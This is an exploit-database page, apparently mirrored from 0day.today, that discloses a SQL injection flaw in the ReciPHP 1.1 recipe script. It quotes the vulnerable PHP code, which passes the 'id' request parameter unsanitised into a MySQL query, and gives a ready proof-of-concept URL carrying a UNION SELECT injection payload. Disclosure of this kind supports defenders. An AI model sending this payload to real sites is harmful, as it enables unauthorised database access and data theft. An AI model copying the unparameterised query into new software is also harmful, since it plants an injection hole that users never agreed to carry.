Lucene search

K

ReciPHP 1.1 SQL Injection Vulnerability

🗓️ 15 Nov 2012 00:00:00Reported by cr4wl3rType 
zdt
 zdt
🔗 0day.today👁 14 Views

ReciPHP 1.1 has an SQL injection vulnerability due to unsafe querying of recipe IDs.

Show more
Code
\#'#/
                            (-.-)
   --------------------oOO---(_)---OOo----------------------
   |        ReciPHP 1.1 SQL Injection Vulnerability        |
   ---------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Site: http://0xuht.org
[!] Download: http://sourceforge.net/projects/reciphp/files/
[!] Version: 1.1
[!] Date: 14.11.2012
[!] Remote: yes
[!] Tested: Ubuntu
[!] Reference: http://0xuht.org/Exploit/reciphp.txt

[!] Vulnerability Code [showrecipe.inc.php] :
 
<?php include 'config.php'; ?>
<div id="main">
<div id='preview'><?php


$recipeid = $_GET['id'];

$query = "SELECT title,poster,shortdesc,ingredients,directions from recipes where recipeid = $recipeid";

$result = mysql_query($query) or die('Could not find recipe');
 
 
[!] PoC (Piye om Carane):
 
    [ReciPHP]/index.php?content=showrecipe&id=-3 union select version(),2,3,4,5--

[!] Demo:

    http://0xuht.org/demo/reciphp.png

#  0day.today [2018-01-08]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
15 Nov 2012 00:00Current
8.1High risk
Vulners AI Score8.1
14
.json
Report